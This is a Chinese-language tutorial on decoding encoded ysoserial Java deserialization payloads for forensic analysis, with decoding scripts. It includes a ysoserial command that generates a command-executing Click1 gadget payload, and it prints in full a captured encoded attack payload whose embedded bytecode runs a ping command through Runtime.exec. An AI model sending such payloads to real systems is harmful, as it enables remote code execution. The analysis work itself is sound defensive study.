一种 ysoserial.jar 反序列化Payload的解码
字数 1023 2025-08-18 17:33:42
Ysoserial反序列化Payload解码教学文档
0x00 前言
本教学文档详细讲解如何解码ysoserial.jar生成的反序列化Payload,特别是处理经过编码变形的Payload(如AKztAA开头格式)。文档包含基础知识、解码步骤和实战案例。
0x01 基础知识:文件头识别
在开始解码前,需要了解几种常见的文件头:
- Java序列化Base64编码:以
rO0AB开头 - Java序列化16进制:以
aced开头 - Java class文件16进制:以
cafebabe开头
工具推荐:
- zkar:解析序列化数据
- SerializationDumper:解析序列化数据
0x02 原始Payload生成与分析
生成原始Payload
java -jar ysoserial.jar Click1 "touch /tmp/xx" > raw_payload.bin
分析Payload
- 查看16进制格式:
hexdump -C raw_payload.bin
- 使用zkar解析:
./zkar dump -f raw_payload.bin > raw_payload_decode.txt
- 查找
cafebabe开头的class文件16进制,保存为.class文件后用IDEA反编译
0x03 编码替换的Payload处理
编码过程
典型编码命令:
java -jar ysoserial.jar Click1 "touch /tmp/xx" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='
分解步骤:
- 生成原始Payload
- 在Payload前插入空字节(\x00)
- Base64编码
- 替换
/为_,+为- - 删除等号
=
解码步骤
1. 还原Base64字符和补充等号
cat encoded_payload | tr '_-' '/+' > restore_base64_lack_equal.bin
使用add_equal.sh脚本补充等号:
#!/bin/bash
file_content=$(cat restore_base64_lack_equal.bin)
base64_string=$(echo -n "$file_content" | tr -d '\n')
length=${#base64_string}
remainder=$((length % 4))
padding=$(((4 - remainder) % 4))
if ((padding > 0)); then
padding_string=$(printf '=%.0s' $(seq 1 $padding))
base64_string="$base64_string$padding_string"
fi
echo "$base64_string" > restore_base64.bin
2. Base64解码
cat restore_base64.bin | base64 -d > restore_00.bin
3. 跳过开头的空字节
tail -c +2 restore_00.bin > restore.bin
4. 使用zkar解析
./zkar dump -f restore.bin > restore.txt
5. 提取class文件
从解析结果中找到cafebabe开头的16进制数据,使用以下Python脚本保存为.class文件:
import re
def extract_hex_to_file(input_filename, output_filename):
with open(input_filename, "r") as file:
input_text = file.read()
# 移除行号和竖线
input_text = re.sub(r'[0-9a-fA-F]{8}', '', input_text)
input_text = re.sub(r'\|.*\|', '', input_text)
# 提取16进制数据
hex_data = re.findall(r"[0-9a-fA-F]{2}(?: [0-9a-fA-F]{2})*", input_text)
hex_string = "".join(hex_data).replace(" ", "")
# 写入文件
with open(output_filename, "wb") as file:
file.write(bytes.fromhex(hex_string))
0x04 实战案例
攻击Payload示例
AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0-z-CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db21wYXJhdG9yO3hwAAAAAnNyADBvcmcuYXBhY2hlLmNsaWNrLmNvbnRyb2wuQ29sdW1uJENvbHVtbkNvbXBhcmF0b3IAAAAAAAAAAQIAAkkADWFzY2VuZGluZ1NvcnRMAAZjb2x1bW50ACFMb3JnL2FwYWNoZS9jbGljay9jb250cm9sL0NvbHVtbjt4cAAAAAFzcgAfb3JnLmFwYWNoZS5jbGljay5jb250cm9sLkNvbHVtbgAAAAAAAAABAgATWgAIYXV0b2xpbmtaAAplc2NhcGVIdG1sSQAJbWF4TGVuZ3RoTAAKYXR0cmlidXRlc3QAD0xqYXZhL3V0aWwvTWFwO0wACmNvbXBhcmF0b3JxAH4AAUwACWRhdGFDbGFzc3QAEkxqYXZhL2xhbmcvU3RyaW5nO0wACmRhdGFTdHlsZXNxAH4AB0wACWRlY29yYXRvcnQAJExvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvRGVjb3JhdG9yO0wABmZvcm1hdHEAfgAITAALaGVhZGVyQ2xhc3NxAH4ACEwADGhlYWRlclN0eWxlc3EAfgAHTAALaGVhZGVyVGl0bGVxAH4ACEwADW1lc3NhZ2VGb3JtYXR0ABlMamF2YS90ZXh0L01lc3NhZ2VGb3JtYXQ7TAAEbmFtZXEAfgAITAAIcmVuZGVySWR0ABNMamF2YS9sYW5nL0Jvb2xlYW47TAAIc29ydGFibGVxAH4AC0wABXRhYmxldAAgTG9yZy9hcGFjaGUvY2xpY2svY29udHJvbC9UYWJsZTtMAA10aXRsZVByb3BlcnR5cQB-AAhMAAV3aWR0aHEAfgAIeHAAAQAAAABwcHBwcHBwcHBwdAAQb3V0cHV0UHJvcGVydGllc3Bwc3IAHm9yZy5hcGFjaGUuY2xpY2suY29udHJvbC5UYWJsZQAAAAAAAAABAgAXSQAOYmFubmVyUG9zaXRpb25aAAlob3ZlclJvd3NaABdudWxsaWZ5Um93TGlzdE9uRGVzdHJveUkACnBhZ2VOdW1iZXJJAAhwYWdlU2l6ZUkAE3BhZ2luYXRvckF0dGFjaG1lbnRaAAhyZW5kZXJJZEkACHJvd0NvdW50WgAKc2hvd0Jhbm5lcloACHNvcnRhYmxlWgAGc29ydGVkWgAPc29ydGVkQXNjZW5kaW5nTAAHY2FwdGlvbnEAfgAITAAKY29sdW1uTGlzdHQAEExqYXZhL3V0aWwvTGlzdDtMAAdjb2x1bW5zcQB-AAdMAAtjb250cm9sTGlua3QAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvQWN0aW9uTGluaztMAAtjb250cm9sTGlzdHEAfgAQTAAMZGF0YVByb3ZpZGVydAAsTG9yZy9hcGFjaGUvY2xpY2svZGF0YXByb3ZpZGVyL0RhdGFQcm92aWRlcjtMAAZoZWlnaHRxAH4ACEwACXBhZ2luYXRvcnQAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvUmVuZGVyYWJsZTtMAAdyb3dMaXN0cQB-ABBMAAxzb3J0ZWRDb2x1bW5xAH4ACEwABXdpZHRocQB-AAh4cgAob3JnLmFwYWNoZS5jbGljay5jb250cm9sLkFic3RyYWN0Q29udHJvbAAAAAAAAAABAgAJTAAOYWN0aW9uTGlzdGVuZXJ0ACFMb3JnL2FwYWNoZS9jbGljay9BY3Rpb25MaXN0ZW5lcjtMAAphdHRyaWJ1dGVzcQB-AAdMAAliZWhhdmlvcnN0AA9MamF2YS91dGlsL1NldDtMAAxoZWFkRWxlbWVudHNxAH4AEEwACGxpc3RlbmVydAASTGphdmEvbGFuZy9PYmplY3Q7TAAObGlzdGVuZXJNZXRob2RxAH4ACEwABG5hbWVxAH4ACEwABnBhcmVudHEAfgAXTAAGc3R5bGVzcQB-AAd4cHBwcHBwcHBwcAAAAAIAAQAAAAAAAAAAAAAAAQAAAAAAAAAAAXBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhwcHBwcHBwcHBwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0_BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAITAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA_____3VyAANbW0JL_RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF_gGCFTgAgAAeHAAAAa1yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk_OR3e8-AQAGPGluaXQ-AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ-AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAH3BpbmcgLW4gNCAtbCAxMjU1NCAxMC4yMDAuMzAuMTUIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXIyMjI3NDgxMDI2MjI4NDgBACBMeXNvc2VyaWFsL1B3bmVyMjIyNzQ4MTAyNjIyODQ4OwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AJAAAAdTK_rq-AAAAMgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4c3IAFGphdmEubWF0aC5CaWdJbnRlZ2VyjPyfH6k7-x0DAAZJAAhiaXRDb3VudEkACWJpdExlbmd0aEkAE2ZpcnN0Tm9uemVyb0J5dGVOdW1JAAxsb3dlc3RTZXRCaXRJAAZzaWdudW1bAAltYWduaXR1ZGV0AAJbQnhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cP_v____4AAAABdXEAfgAkAAAAAQF4eA
解码步骤
- 还原Base64字符:
cat target.bin | tr '_-' '/+' > target_lack_equal.bin
- 补充等号(使用修改后的add_equal.sh):
#!/bin/bash
if [ "$#" -ne 1 ]; then
echo "Usage: $0 <filename>"
exit 1
fi
filename="$1"
if [ ! -f "$filename" ]; then
echo "File '$filename' not found."
exit 1
fi
file_content=$(cat "$filename")
base64_string=$(echo -n "$file_content" | tr -d '\n')
length=${#base64_string}
remainder=$((length % 4))
padding=$(((4 - remainder) % 4))
if ((padding > 0)); then
padding_string=$(printf '=%.0s' $(seq 1 $padding))
base64_string="$base64_string$padding_string"
fi
echo "$base64_string" > target_base64.bin
- Base64解码:
cat target_base64.bin | base64 -d > target_00.bin
- 跳过开头的空字节:
tail -c +2 target_00.bin > restore.bin
- 使用zkar解析:
./zkar dump -f restore.bin > restore.txt
- 提取class文件:
import re
import sys
def remove_hex_line(input_string):
pattern = re.compile(r'[0-9a-fA-F]{8}')
return re.sub(pattern, '', input_string)
def remove_vertical_line(input_string):
pattern = re.compile(r'\|.*\|')
return re.sub(pattern, '', input_string)
def extract_hex_to_file(input_filename, output_filename):
with open(input_filename, "r") as file:
input_text = file.read()
input_text = remove_hex_line(input_text)
input_text = remove_vertical_line(input_text)
hex_data = re.findall(r"[0-9a-fA-F]{2}(?: [0-9a-fA-F]{2})*", input_text)
hex_string = "".join(hex_data).replace(" ", "")
with open(output_filename, "wb") as file:
file.write(bytes.fromhex(hex_string))
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python3 extract_hex.py input_filename output_filename")
sys.exit(1)
input_filename = sys.argv[1]
output_filename = sys.argv[2]
extract_hex_to_file(input_filename, output_filename)
- 反编译class文件:
将生成的restore.class文件拖入IDEA进行反编译,查看攻击者意图执行的命令。
0x05 注意事项
- Payload不一致问题:ysoserial两次生成的Payload可能不同,这是正常现象
- 自动化工具:可以考虑将上述步骤整合为一个自动化工具,简化解码流程
- 实战分析:在实际分析中,需要从HTTP请求中提取jato.pageSession等参数值进行处理
通过以上步骤,可以完整解码经过编码的ysoserial反序列化Payload,并分析出攻击者意图执行的命令。